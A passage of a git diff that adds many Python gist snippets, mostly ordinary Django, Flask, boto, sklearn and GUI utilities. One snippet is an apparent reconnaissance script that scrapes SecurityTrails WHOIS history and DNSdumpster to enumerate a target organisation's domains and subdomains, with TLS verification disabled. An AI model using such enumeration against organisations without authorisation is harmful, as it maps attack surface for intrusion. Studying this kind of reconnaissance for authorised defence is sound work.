+from tastypie.paginator import Paginator
+from tastypie.exceptions import BadRequest
+from tastypie.resources import ModelResource
+from tastypie.utils import trailing_slash
+
+from haystack.query import SearchQuerySet, EmptySearchQuerySet
+
+from clips.models import Clip
+
+class ClipResource(ModelResource):
+    
+    class Meta:
+        queryset = Clip.objects.all().order_by('-created')
+        resource_name = 'clips'
+
+    # Custom search endpoint
+    def override_urls(self):
+        return [
+            url(r"^(?P<resource_name>%s)/search/?$" % (self._meta.resource_name), self.wrap_view('get_search'), name="api_get_search"),
+        ]
+
+    def get_search(self, request, **kwargs):
+        '''
+        Custom endpoint for search
+        '''
+
+        self.method_check(request, allowed=['get'])
+        self.is_authenticated(request)
+        self.throttle_check(request)
+
+        query = request.GET.get('q', None)
+        if not query:
+            raise BadRequest('Please supply the search parameter (e.g. "/api/v0/clips/search/?q=css")')
+
+        results = SearchQuerySet().models(Clip).filter(user=request.user).auto_query(query)
+        if not results:
+            results = EmptySearchQuerySet()
+        
+        paginator = Paginator(request.GET, results, resource_uri='/api/v0/clips/search/')
+
+        bundles = []
+        for result in paginator.page()['objects']:
+            bundle = self.build_bundle(obj=result.object, request=request)
+            bundles.append(self.full_dehydrate(bundle))
+
+        object_list = {
+            'meta': paginator.page()['meta'],
+            'objects': bundles
+        }
+        object_list['meta']['search_query'] = query
+
+        self.log_throttled_access(request)
+        return self.create_response(request, object_list)
\ No newline at end of file
diff --git a/hard-gists/1702293/._snippet.py b/hard-gists/1702293/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1702293/._snippet.py differ
diff --git a/hard-gists/1702293/snippet.py b/hard-gists/1702293/snippet.py
new file mode 100644
index 00000000..6fb57bc0
--- /dev/null
+++ b/hard-gists/1702293/snippet.py
@@ -0,0 +1,28 @@
+from tastypie.fields import ListField
+
+class TaggedResource(ModelResource):
+    tags = ListField()
+    
+    class Meta:
+        queryset = Model.objects.all()
+
+    def build_filters(self, filters=None):
+        if filters is None:
+            filters = {}
+
+        orm_filters = super(TaggedResource, self).build_filters(filters)
+
+        if 'tag' in filters:
+            orm_filters['tags__name__in'] = filters['tag'].split(',')
+        return orm_filters
+
+        
+    def dehydrate_tags(self, bundle):
+        return map(str, bundle.obj.tags.all())
+
+
+    def save_m2m(self, bundle):
+        tags = bundle.data.get('tags', [])
+        bundle.obj.tags.set(*tags)
+        return super(TaggedResource, self).save_m2m(bundle)
+
diff --git a/hard-gists/1705235/._snippet.py b/hard-gists/1705235/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1705235/._snippet.py differ
diff --git a/hard-gists/1705235/snippet.py b/hard-gists/1705235/snippet.py
new file mode 100644
index 00000000..a0a3cd3c
--- /dev/null
+++ b/hard-gists/1705235/snippet.py
@@ -0,0 +1,28 @@
+import numpy as np
+
+from IPython.parallel import Client
+
+from sklearn.grid_search import GridSearchCV
+from sklearn.cross_validation import KFold
+from sklearn.svm import SVC
+from sklearn import datasets
+from sklearn.preprocessing import Scaler
+from sklearn.utils import shuffle
+
+digits = datasets.fetch_mldata("MNIST original")
+X, y = digits.data, digits.target
+
+X, y = shuffle(X, y)
+
+X = Scaler().fit_transform(X)
+
+params = dict(C=10. ** np.arange(-3, 3), gamma=10. ** np.arange(-3, 3))
+
+rc = Client(profile='sge')
+view = rc.load_balanced_view()
+
+
+grid = GridSearchCV(SVC(), param_grid=params, cv=KFold(len(y), 4), n_jobs=view)
+
+grid.fit(X, y)
+print(grid.grid_scores_)
diff --git a/hard-gists/1707483/._snippet.py b/hard-gists/1707483/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1707483/._snippet.py differ
diff --git a/hard-gists/1707483/snippet.py b/hard-gists/1707483/snippet.py
new file mode 100644
index 00000000..4cb4684a
--- /dev/null
+++ b/hard-gists/1707483/snippet.py
@@ -0,0 +1,34 @@
+import time
+import boto
+from django.conf import settings
+
+conn = boto.connect_dynamodb(aws_access_key_id=settings.AWS_ACCESS_KEY_ID,
+        aws_secret_access_key=settings.AWS_SECRET_ACCESS_KEY)
+
+table_schema = conn.create_schema(
+        hash_key_name='item_id',
+        hash_key_proto_value='S',
+        range_key_name='date_found',
+        range_key_proto_value='S'
+    )
+    
+table = conn.create_table(
+        name='counter',
+        schema=table_schema,
+        read_units=10,
+        write_units=10
+    )
+
+item = table.new_item(
+      hash_key='1234',
+      range_key=str(time.time()),
+      attrs={'counter': 5})
+    
+item.put()
+
+rs = table.query(hash_key='1234',
+    range_key_condition={'LT':time.time()},attributes_to_get=['date_found','counter'])
+
+[x for x in rs]
+
+table.delete()
\ No newline at end of file
diff --git a/hard-gists/1710122/._snippet.py b/hard-gists/1710122/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1710122/._snippet.py differ
diff --git a/hard-gists/1710122/snippet.py b/hard-gists/1710122/snippet.py
new file mode 100644
index 00000000..31c4513a
--- /dev/null
+++ b/hard-gists/1710122/snippet.py
@@ -0,0 +1,63 @@
+"""Flask extension utility."""
+
+from flask.sessions import SessionInterface, SessionMixin
+from werkzeug.contrib.cache import MemcachedCache
+
+import memcache  # Use https://code.launchpad.net/~songofacandy/python-memcached/mixin-threading
+
+def setup_cache(app):
+    """
+    Setup ``app.cache``.
+    """
+    # TODO: Support other cache type.
+    servers = app.config.get('MEMCACHED_SERVERS', '').split()
+    if not servers:
+        servers = ['localhost:11211']
+    servers = memcache.LockingClient(servers)
+
+    prefix = app.config.get('MEMCACHED_PREFIX', '')
+    app.cache = MemcachedCache(servers=servers, key_prefix=prefix)
+
+
+class CacheSession(dict, SessionMixin):
+    def __init__(self, session_key):
+        self._session_key = session_key
+
+class CacheSessionInterface(SessionInterface):
+    """
+    Store session in ``app.cache``
+    """
+    def __init__(self, key, prefix='session-'):
+        SessionInterface.__init__(self)
+        self._key_func = key
+        self._prefix = prefix
+
+    def open_session(self, app, request):
+        cache = app.cache
+        try:
+            _key = self._prefix + self._key_func(request)
+        except Exception:
+            return None
+        obj = cache.get(_key)
+        if obj is None:
+            obj = CacheSession(_key)
+        return obj
+
+    def save_session(self, app, session, response):
+        cache = app.cache
+        _key = session._session_key
+        cache.set(_key, session, timeout=0)
+
+
+# Example:
+# app.config.update(MEMCACHED_SERVERS='localhost:11211 localhost:11212',
+#                   MEMCACHED_PREFIX ='app32-',
+#                   )
+# setup_cache(app)
+# app.session_interface = CacheSessionInterface(
+#         key=lambda req: req.args.get('opensocial_viewer_id'),
+#         )
+# # Use cache.
+# app.cache.set('foo', 'bar')
+# # Use session
+# flask.session.set('foo', 'bar')
\ No newline at end of file
diff --git a/hard-gists/1714d2952c09b96ba2d8777f1cbf9de1/._snippet.py b/hard-gists/1714d2952c09b96ba2d8777f1cbf9de1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1714d2952c09b96ba2d8777f1cbf9de1/._snippet.py differ
diff --git a/hard-gists/1714d2952c09b96ba2d8777f1cbf9de1/snippet.py b/hard-gists/1714d2952c09b96ba2d8777f1cbf9de1/snippet.py
new file mode 100644
index 00000000..7c49f26e
--- /dev/null
+++ b/hard-gists/1714d2952c09b96ba2d8777f1cbf9de1/snippet.py
@@ -0,0 +1,190 @@
+import requests
+import json
+import pprint
+import sys
+import dns.message
+import dns.query
+import dns.rdatatype
+import dns.resolver
+import dns.reversename
+import time
+from bs4 import BeautifulSoup
+import multiprocessing
+import optparse
+from tabulate import tabulate
+
+noOfThreads=1
+domain=''
+
+from requests.packages.urllib3.exceptions import InsecureRequestWarning
+requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
+requests.packages.urllib3.disable_warnings()
+
+def retrieve_txt_record(table):
+    res = []
+    for td in table.findAll('td'):
+        res.append(td.text)
+    return res
+
+def retrieve_results(table):
+    res = []
+    trs = table.findAll('tr')
+    for tr in trs:
+        tds = tr.findAll('td')
+        tmpdomain = ((str(tds[0]).split("https://api.hackertarget.com/httpheaders/?q=http://")[1]).split('"><span class="glyphicon glyphicon-globe"')[0]).strip()
+        if len(tmpdomain)>0:
+	        res.append(tmpdomain)
+    return res
+
+def getSubdomains(domain):
+	tmpResultList=[]
+	dnsdumpster_url = 'https://dnsdumpster.com/'
+	s = requests.session()
+	req = s.get(dnsdumpster_url)
+	soup = BeautifulSoup(req.content,"lxml")
+	csrf_middleware = soup.findAll('input', attrs={'name': 'csrfmiddlewaretoken'})[0]['value']
+
+	cookies = {'csrftoken': csrf_middleware}
+	headers = {'Referer': dnsdumpster_url}
+	data = {'csrfmiddlewaretoken': csrf_middleware, 'targetip': domain}
+	req = s.post(dnsdumpster_url, cookies=cookies, data=data, headers=headers)
+
+	if req.status_code != 200:
+	    print sys.stderr
+	soup = BeautifulSoup(req.content,"lxml")
+	tables = soup.findAll('table')
+	res = {}
+	res['domain'] = domain
+	res['dns_records'] = {}
+	try:
+		res['dns_records']['host'] = retrieve_results(tables[3])
+		for x in res['dns_records']['host']:
+			tmpResultList.append(x)
+	except IndexError:
+		pass
+	return tmpResultList
+def resolveDNS(tmpdomainName):
+	resultList=[]	
+	complete=False
+	while complete==False:
+		myResolver = dns.resolver.Resolver() 
+		try:
+			myAnswers = myResolver.query(tmpdomainName, "A")
+			for rdata in myAnswers:
+				resultList.append(str(rdata.to_text()))
+		except dns.resolver.NoAnswer as e:
+			pass
+		except dns.resolver.NXDOMAIN as e:
+			pass
+		except dns.resolver.NoNameservers as e:
+			pass
+		except dns.exception.Timeout:
+			#print "- DNS Timeout - Retry: "+str(tmpdomainName)
+			time.sleep(5)
+		complete=True
+	return tmpdomainName,resultList
+
+def getHTML(url):
+	headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.2; rv:30.0) Gecko/20150101 Firefox/32.0", 
+				"Connection": "keep-alive"
+				}
+	r = requests.get(url, headers=headers, verify=False, timeout=15,allow_redirects=False)
+	html_content = r.text
+	return html_content
+
+parser = optparse.OptionParser()
+parser.add_option('-t', action="store", dest="threads", help="number of threads")
+parser.add_option('-n', action="store", dest="domain", help="domain name")
+parser.add_option('-r', action="store_true", help="resolve DNS name")
+parser.add_option('-s', action="store_true", help="find subdomains")
+options, remainder = parser.parse_args()
+
+if options.threads:
+	noOfThreads=int(options.threads)
+if options.domain:
+	domain=options.domain
+else:
+	print "[*] Please enter a domain name"
+	sys.exit()
+
+url='https://app.securitytrails.com/api/whois/history/'+domain
+html_content=getHTML(url)
+data = json.loads(html_content)
+organizationNameList=[]
+if "API rate limit exceeded" in str(data):
+	print "[*] API limit exceeded. Please try with another IP address"
+	sys.exit()
+else:
+	for x in data['result']['items']:
+		try:
+			if x['contact'][0]['organization'] not in organizationNameList:
+				organizationNameList.append(x['contact'][0]['organization'])
+		except KeyError:
+			pass
+		except IndexError:
+			pass
+		'''
+		try:
+			if x['contact'][0]['name'] not in organizationNameList:
+				organizationNameList.append(x['contact'][0]['name'])
+		except KeyError:
+			pass
+		'''
+	if len(organizationNameList)>0:
+		print "[*] Found the below organization names"
+		print ", ".join(organizationNameList)
+
+		dnsList=[]
+		print "\n[*] Found the below domains"
+		for x in organizationNameList:
+			x=x.replace(" ","%20")
+			count=0
+			while count<200:
+				newUrl='https://app.securitytrails.com/api/whois/list/organization/'+x+'?page='+str(count)
+				html_content=getHTML(newUrl)
+				data = json.loads(html_content)
+				#print newUrl
+				if data['success']==True:
+					if data['result']!='Elasticsearch request failed':
+						#print len(data['result'])
+						if len(data['result'])>0:
+							for y in data['result']:
+								#tmpResultList=resolveDNS(y)
+								#if len(tmpResultList)<1:
+								if y not in dnsList:
+									print y
+									dnsList.append(y)
+						else:
+								count=201
+								#sys.exit()
+				count+=1
+		tmpResultList1=[]
+		if options.r:
+			p = multiprocessing.Pool(processes=noOfThreads)
+			tmpResultList = p.map(resolveDNS,dnsList)		
+			p.close()
+			for x in tmpResultList:
+				tmpDomainName=x[0]
+				tmpHostList=", ".join(x[1])
+				tmpResultList1.append([tmpDomainName,tmpHostList])
+			print "\n[*] Domain Results"
+			print tabulate(tmpResultList1)
+		tmpResultList2=[]
+		if options.s:
+			for x in tmpResultList1:
+				tmpSubdomainList=getSubdomains(str(x[0]))
+				for y in tmpSubdomainList:
+					tmpResultList2.append(y)
+			p = multiprocessing.Pool(processes=noOfThreads)
+			tmpResultList = p.map(resolveDNS,tmpResultList2)		
+			p.close()
+			tmpResultList1=[]
+			if len(tmpResultList)>0:
+				for x in tmpResultList:
+					tmpDomainName=x[0]
+					tmpHostList=", ".join(x[1])
+					tmpResultList1.append([tmpDomainName,tmpHostList])				
+				print "\n[*] Subdomain Results"
+				print tabulate(tmpResultList1)
+	else:
+		print "\n[*] No organizations found. Please enter another domain name"
\ No newline at end of file
diff --git a/hard-gists/1715202/._snippet.py b/hard-gists/1715202/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1715202/._snippet.py differ
diff --git a/hard-gists/1715202/snippet.py b/hard-gists/1715202/snippet.py
new file mode 100644
index 00000000..656822dd
--- /dev/null
+++ b/hard-gists/1715202/snippet.py
@@ -0,0 +1,199 @@
+#
+# templatetags/kwacros.py - Support for macros in Django templates
+#
+# Based on snippet by
+# Author: Michal Ludvig <michal@logix.cz>
+#         http://www.logix.cz/michal
+#
+# modified for args and kwargs by Skylar Saveland http://skyl.org
+#
+
+"""
+
+Usage example:
+
+0) Save this file as <yourapp>/templatetags/kwacros.py
+
+1) In your template load the library:
+    {% load kwacros %}
+
+2) Define a new macro called 'my_macro' that takes two args and a kwarg.
+   All will be optional.
+
+    {% kwacro test2args1kwarg arg1 arg2 baz="Default baz" %}
+    {% firstof arg1 "default arg1" %}
+    {% if arg2 %}{{ arg2 }}{% else %}default arg2{% endif %}
+    {{ baz }}
+    {% endkwacro %}
+
+3) Use the macro with a string parameters or context variables::
+
+    {% usekwacro test2args1kwarg "foo" "bar" baz="KW" %}
+    <br>
+    {% usekwacro test2args1kwarg num_pages "bar" %}
+    <br>
+    {% usekwacro test2args1kwarg %}
+    <br>
+    {% usekwacro test2args1kwarg "new" "foobar"|join:"," baz="diff kwarg" %}
+
+    renders like
+
+    foo bar KW
+    77 bar Default baz
+    default arg1 default arg2 Default baz
+    new f,o,o,b,a,r diff kwarg
+
+4) Alternatively save your macros in a separate
+   file, e.g. "mymacros.html" and load it to the
+   current template with:
+        {% loadkwacros "mymacros.html" %}
+   Then use these loaded macros in {% usekwacro %}
+   as described above.
+
+Bear in mind that defined and loaded kwacros are local
+to each template file and are not inherited
+through {% extends ... %} tags.
+"""
+
+from django import template
+from django.template import FilterExpression
+from django.template.loader import get_template
+
+register = template.Library()
+
+
+def _setup_macros_dict(parser):
+    ## Metadata of each macro are stored in a new attribute
+    ## of 'parser' class. That way we can access it later
+    ## in the template when processing 'usemacro' tags.
+    try:
+        ## Only try to access it to eventually trigger an exception
+        parser._macros
+    except AttributeError:
+        parser._macros = {}
+
+
+class DefineMacroNode(template.Node):
+    def __init__(self, name, nodelist, args):
+
+        self.name = name
+        self.nodelist = nodelist
+        self.args = []
+        self.kwargs = {}
+        for a in args:
+            if "=" not in a:
+                self.args.append(a)
+            else:
+                name, value = a.split("=")
+                self.kwargs[name] = value
+
+    def render(self, context):
+        ## empty string - {% macro %} tag does no output
+        return ''
+
+
+@register.tag(name="kwacro")
+def do_macro(parser, token):
+    try:
+        args = token.split_contents()
+        tag_name, macro_name, args = args[0], args[1], args[2:]
+    except IndexError:
+        m = ("'%s' tag requires at least one argument (macro name)"
+            % token.contents.split()[0])
+        raise template.TemplateSyntaxError, m
+    # TODO: could do some validations here,
+    # for now, "blow your head clean off"
+    nodelist = parser.parse(('endkwacro', ))
+    parser.delete_first_token()
+
+    ## Metadata of each macro are stored in a new attribute
+    ## of 'parser' class. That way we can access it later
+    ## in the template when processing 'usemacro' tags.
+    _setup_macros_dict(parser)
+    parser._macros[macro_name] = DefineMacroNode(macro_name, nodelist, args)
+    return parser._macros[macro_name]
+
+
+class LoadMacrosNode(template.Node):
+    def render(self, context):
+        ## empty string - {% loadmacros %} tag does no output
+        return ''
+
+
+@register.tag(name="loadkwacros")
+def do_loadmacros(parser, token):
+    try:
+        tag_name, filename = token.split_contents()
+    except IndexError:
+        m = ("'%s' tag requires at least one argument (macro name)"
+            % token.contents.split()[0])
+        raise template.TemplateSyntaxError, m
+    if filename[0] in ('"', "'") and filename[-1] == filename[0]:
+        filename = filename[1:-1]
+    t = get_template(filename)
+    macros = t.nodelist.get_nodes_by_type(DefineMacroNode)
+    ## Metadata of each macro are stored in a new attribute
+    ## of 'parser' class. That way we can access it later
+    ## in the template when processing 'usemacro' tags.
+    _setup_macros_dict(parser)
+    for macro in macros:
+        parser._macros[macro.name] = macro
+    return LoadMacrosNode()
+
+
+class UseMacroNode(template.Node):
+
+    def __init__(self, macro, fe_args, fe_kwargs):
+        self.macro = macro
+        self.fe_args = fe_args
+        self.fe_kwargs = fe_kwargs
+
+    def render(self, context):
+
+        for i, arg in enumerate(self.macro.args):
+            try:
+                fe = self.fe_args[i]
+                context[arg] = fe.resolve(context)
+            except IndexError:
+                context[arg] = ""
+
+        for name, default in self.macro.kwargs.iteritems():
+            if name in self.fe_kwargs:
+                context[name] = self.fe_kwargs[name].resolve(context)
+            else:
+                context[name] = FilterExpression(default,
+                                                 self.macro.parser
+                ).resolve(context)
+
+        return self.macro.nodelist.render(context)
+
+
+@register.tag(name="usekwacro")
+def do_usemacro(parser, token):
+    try:
+        args = token.split_contents()
+        tag_name, macro_name, values = args[0], args[1], args[2:]
+    except IndexError:
+        m = ("'%s' tag requires at least one argument (macro name)"
+             % token.contents.split()[0])
+        raise template.TemplateSyntaxError, m
+    try:
+        macro = parser._macros[macro_name]
+    except (AttributeError, KeyError):
+        m = "Macro '%s' is not defined" % macro_name
+        raise template.TemplateSyntaxError, m
+
+    fe_kwargs = {}
+    fe_args = []
+
+    for val in values:
+        if "=" in val:
+            # kwarg
+            name, value = val.split("=")
+            fe_kwargs[name] = FilterExpression(value, parser)
+        else:  # arg
+            # no validation, go for it ...
+            fe_args.append(FilterExpression(val, parser))
+
+    macro.parser = parser
+    return UseMacroNode(macro, fe_args, fe_kwargs)
diff --git a/hard-gists/1716699/._snippet.py b/hard-gists/1716699/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1716699/._snippet.py differ
diff --git a/hard-gists/1716699/snippet.py b/hard-gists/1716699/snippet.py
new file mode 100644
index 00000000..f3a285ea
--- /dev/null
+++ b/hard-gists/1716699/snippet.py
@@ -0,0 +1,91 @@
+#!/usr/bin/env python
+
+# Simple Image Diffs
+# ==================
+#
+# How to Install
+# --------------
+#
+# Download the script somewhere on $PATH as 'simple-imagediff' with +x:
+#
+# $ cd ~/bin
+# $ wget -O simple-imagediff https://raw.github.com/gist/1716699/simple-imagediff.py
+# $ chmod +x simple-imagediff
+#
+# Prerequisites
+# -------------
+#
+# The script should work out-of-the box on Ubuntu 11.10. On other OS'es you may
+# need to install PIL and Gtk3.
+#
+# Git Setup
+# ---------
+#
+# In ~/.gitconfig, add:
+#
+# [diff "image"]
+#   command = simple-imagediff
+#
+# In your project, create .gitattributes file and add (this enables the custom
+# diff tool above):
+#
+# *.gif diff=image
+# *.jpg diff=image
+# *.png diff=image
+#
+# Try It
+# ------
+#
+# $ git diff path/to/file.png
+#
+# NOTE: file.png must be versioned and the working copy must be different.
+
+import os
+import sys
+
+import Image
+
+from gi.repository import Gdk, Gtk
+
+class SimpleImageDiffWindow(Gtk.Window):
+    def __init__(self, left, right):
+        Gtk.Window.__init__(self, title="Simple Image Diff (%s, %s)" % (left, right))
+        self.set_default_size(640, 480)
+        align = Gtk.Alignment()
+        align.set_padding(10, 10, 10, 10)
+        box = Gtk.HBox(homogeneous=True, spacing=10)
+        box.add(self._create_image_box(left))
+        box.add(self._create_image_box(right))
+        align.add(box)
+        self.add(align)
+        self.resize(1, 1)
+        self.set_position(Gtk.WindowPosition.CENTER)
+
+    def _create_image_box(self, image_file):
+        box = Gtk.VBox(spacing=10)
+        frame = Gtk.Frame()
+        image = Gtk.Image()
+        image.set_from_file(image_file)
+        title = Gtk.Label(label="W: %dpx  |  H: %dpx" % Image.open(image_file).size)
+        frame.add(image)
+        box.pack_start(frame, True, True, 0)
+        box.pack_end(title, False, False, 10)
+        return box
+
+def _halt(message, code):
+    sys.stderr.write("[ERROR] %s\n" % message)
+    sys.exit(0 << code)
+
+def _verify_file_exists(target):
+    if not os.path.exists(target):
+        _halt("The file '%s' does not exists." % target, 2)
+
+if __name__ == '__main__':
+    if len(sys.argv) < 3:
+        _halt('Not enough arguments.', 1)
+    _verify_file_exists(sys.argv[1])
+    _verify_file_exists(sys.argv[2])
+    app = SimpleImageDiffWindow(sys.argv[1], sys.argv[2])
+    app.connect('delete-event', Gtk.main_quit)
+    app.show_all()
+    Gtk.main()
\ No newline at end of file
diff --git a/hard-gists/1720032/._snippet.py b/hard-gists/1720032/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1720032/._snippet.py differ
diff --git a/hard-gists/1720032/snippet.py b/hard-gists/1720032/snippet.py
new file mode 100644
index 00000000..254b7237
--- /dev/null
+++ b/hard-gists/1720032/snippet.py
@@ -0,0 +1,97 @@
+#!/usr/bin/python
+
+"""
+
+S3 to Rackspace Cloud Files Migration
+
+This script will copy the contents of a S3
+bucket to to a Rackspace Cloud Files container.
+
+Depends on the boto and python_cloudfiles python libraries.
+
+Author:		Tony Landis 
+Website:	www.tonylandis.com
+License:	Do whatever you want with this code
+Usage:		Just define the S3_* and CF_* settings below before running.
+			If you have a s3 bucket name with characters that are not
+			valid for a file name on your system, you will need to change
+			the tmp_file and mrk_file as well to avoid issues.
+
+
+"""
+
+import cloudfiles
+from boto.s3.connection import S3Connection
+from boto.s3.key import Key
+
+# the s3 api key, secret, and bucket to copy from
+S3_KEY			= ''
+S3_SECRET		= ''
+S3_BUCKET		= ''
+
+# the rackspakce cloud files user, api, and container to copy to
+CF_USER			= ''
+CF_API_KEY		= ''
+CF_CONTAINER	= ''
+
+# connect to s3
+s3_conn			= S3Connection(S3_KEY, S3_SECRET, is_secure=False)
+s3_bucket		= s3_conn.create_bucket(S3_BUCKET)
+# connect to cf
+cf_conn			= cloudfiles.get_connection(CF_USER, CF_API_KEY, serviceNet=True)
+cf_container	= cf_conn.get_container(CF_CONTAINER)
+# setup temp files
+tmp_file = '/tmp/%s' % S3_BUCKET
+mrk_file = '/tmp/key_%s' % S3_BUCKET
+#see if we have a file with the key marker for s3 get_all_keys()
+key_marker=''
+try:
+	fp = open(mrk_file, 'r')
+	lines = fp.readlines()
+	fp.close()
+	if lines:
+		key_marker = lines[-1]
+except Exception: 
+	pass
+
+def handle(name):
+	"try to do the copy"
+	try:
+		#get tmp file
+		key = Key(s3_bucket, name)
+		#copy to tmp
+		fp = open(tmp_file, "w")
+		key.get_file(fp)
+		fp.close()
+		#copy to cf
+		fp = open(tmp_file, "r")
+		#create the object to copy to
+		o = cf_container.create_object(name)
+		o.write(fp)
+		#cleanup
+		fp.close()
+		return True
+	except Exception:
+		print ' retrying'
+		return False
+
+i = 0
+rs = True
+while rs:
+	"get all the keys"
+	rs = s3_bucket.get_all_keys(marker=key_marker)
+	for s3_key in rs:
+		name = s3_key.name
+		print "%i %s" % (i, name)
+		done, tries = False, 0
+		while done == False:
+			#keep retrying, sometimes things time out
+			done = handle(name)
+		#reset key marker, save last processed
+		key_marker = name
+		fp = open(mrk_file, 'w')
+		fp.write(key_marker)
+		fp.close()
+		i+=1
+
+print "All done!"
diff --git a/hard-gists/1722150/._snippet.py b/hard-gists/1722150/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1722150/._snippet.py differ
diff --git a/hard-gists/1722150/snippet.py b/hard-gists/1722150/snippet.py
new file mode 100644
index 00000000..6ef95ec6
--- /dev/null
+++ b/hard-gists/1722150/snippet.py
@@ -0,0 +1,37 @@
+'''
+original from http://nathanhorne.com/?p=183
+'''
+import os
+import sip
+import maya.cmds as cmds
+import maya.OpenMayaUI as mui
+from PyQt4 import QtGui, QtCore, uic
+
+def getMayaWindow():
+    ptr = mui.MQtUtil.mainWindow()
+    return sip.wrapinstance(long(ptr), QtCore.QObject)
+
+uiFile = os.path.join(cmds.internalVar(uwd=True), 'ui', 'form.ui')
+form_class, base_class = uic.loadUiType(uiFile)
+
+class Window(base_class, form_class):
+    def __init__(self, parent=getMayaWindow()):
+        super(base_class, self).__init__(parent)
+        self.setupUi(self)
+        self.setObjectName('myTool')
+        self.setWindowTitle("My Qt Tool Window")
+        self.setWindowFlags(QtCore.Qt.Tool)
+        
+        self.pushButton.clicked.connect(self.click)
+	
+    def click(self):
+        cmds.sphere();
+
+def main():
+    global myWindow
+    try:
+        myWindow.close()
+    except:
+        pass
+    myWindow = Window()
+    myWindow.show()
diff --git a/hard-gists/1722465/._snippet.py b/hard-gists/1722465/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1722465/._snippet.py differ
diff --git a/hard-gists/1722465/snippet.py b/hard-gists/1722465/snippet.py
new file mode 100644
index 00000000..6cdada89
--- /dev/null
+++ b/hard-gists/1722465/snippet.py
@@ -0,0 +1,59 @@
+# -*- coding: utf-8 -*-
+import os
+from optparse import make_option
+
+import polib
+
+from django.core.management import CommandError
+from django.core.management.base import AppCommand
+
+
+class Command(AppCommand):
+    option_list = AppCommand.option_list + (
+        make_option('-s', '--source',
+            action='store',
+            dest='from_app',
+            default=False,
+            help='Source app'),
+        make_option('-l', '--language',
+            action='store',
+            dest='lang',
+            default=False,
+            help='Source app'),
+        make_option('-f', '--force',
+            action='store_true',
+            dest='force',
+            default=False,
+            help='Force overwrite'),
+    )
+
+    def handle_app(self, app, **options):
+        from django.db import models
+        from_app = options.get('from_app')
+        if not from_app:
+            raise CommandError('please supply a source app')
+        try:
+            from_app = models.get_app(from_app)
+        except IndexError:
+            raise CommandError('%s is not a valid Django app' % from_app)
+
+        _, source_dict = self.po(from_app, options.get('lang'))
+        target, target_dict = self.po(app, options.get('lang'))
+
+        for msgid, source_entry in source_dict.iteritems():
+            if msgid not in target_dict:
+                continue
+            entry = target_dict[msgid]
+            if not entry.msgstr or options.get('force'):
+                entry.msgstr = source_entry.msgstr
+
+        target.save(self.app_to_po_file(app, options.get('lang')))
+
+    def po(self, app, language):
+        pofile = self.app_to_po_file(app,language)
+        po = polib.pofile(pofile)
+        po_dict = dict((entry.msgid, entry) for entry in po)
+        return po, po_dict
+
+    def app_to_po_file(self, app, language):
+        return os.path.join(os.path.dirname(app.__file__), 'locale', language, 'LC_MESSAGES', 'django.po')
diff --git a/hard-gists/1722663/._snippet.py b/hard-gists/1722663/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1722663/._snippet.py differ
diff --git a/hard-gists/1722663/snippet.py b/hard-gists/1722663/snippet.py
new file mode 100644
index 00000000..85aa3302
--- /dev/null
+++ b/hard-gists/1722663/snippet.py
@@ -0,0 +1,25 @@
+import Image, ImageDraw
+
+def get_colors(infile, outfile, numcolors=10, swatchsize=20, resize=150):
+
+    image = Image.open(infile)
+    image = image.resize((resize, resize))
+    result = image.convert('P', palette=Image.ADAPTIVE, colors=numcolors)
+    result.putalpha(0)
+    colors = result.getcolors(resize*resize)
+
+    # Save colors to file
+
+    pal = Image.new('RGB', (swatchsize*numcolors, swatchsize))
+    draw = ImageDraw.Draw(pal)
+
+    posx = 0
+    for count, col in colors:
+        draw.rectangle([posx, 0, posx+swatchsize, swatchsize], fill=col)
+        posx = posx + swatchsize
+
+    del draw
+    pal.save(outfile, "PNG")
+
+if __name__ == '__main__':
+    get_colors('infile.jpg', 'outfile.png')
\ No newline at end of file
diff --git a/hard-gists/1727204/._snippet.py b/hard-gists/1727204/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1727204/._snippet.py differ
diff --git a/hard-gists/1727204/snippet.py b/hard-gists/1727204/snippet.py
new file mode 100644
index 00000000..8537387e
--- /dev/null
+++ b/hard-gists/1727204/snippet.py
@@ -0,0 +1,38 @@
+# -*- coding: utf-8 -*-
+
+"""
+Whoosh backend for haystack that implements character folding, as per 
+http://packages.python.org/Whoosh/stemming.html#character-folding .
+
+Tested with Haystack 2.4.0 and Whooch 2.7.0
+
+To use, put this file on your path and add it to your haystack settings, eg.
+
+    HAYSTACK_CONNECTIONS = {
+        'default': {
+            'ENGINE': 'folding_whoosh_backend.FoldingWhooshEngine',
+            'PATH': 'path-to-whoosh-index',
+        },
+    }
+"""
+
+from haystack.backends.whoosh_backend import WhooshEngine, WhooshSearchBackend
+from whoosh.analysis import CharsetFilter, StemmingAnalyzer
+from whoosh.support.charset import accent_map
+from whoosh.fields import TEXT
+
+
+class FoldingWhooshSearchBackend(WhooshSearchBackend):
+    
+    def build_schema(self, fields):
+        schema = super(FoldingWhooshSearchBackend, self).build_schema(fields)
+        
+        for name, field in schema[1].items():
+            if isinstance(field, TEXT):
+                field.analyzer = StemmingAnalyzer() | CharsetFilter(accent_map)
+                
+        return schema
+
+
+class FoldingWhooshEngine(WhooshEngine):
+    backend = FoldingWhooshSearchBackend
diff --git a/hard-gists/1728255/._snippet.py b/hard-gists/1728255/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1728255/._snippet.py differ
diff --git a/hard-gists/1728255/snippet.py b/hard-gists/1728255/snippet.py
new file mode 100644
index 00000000..8307455d
--- /dev/null
+++ b/hard-gists/1728255/snippet.py
@@ -0,0 +1,343 @@
+from gevent import monkey, Greenlet
+from gevent.queue import Queue, Empty
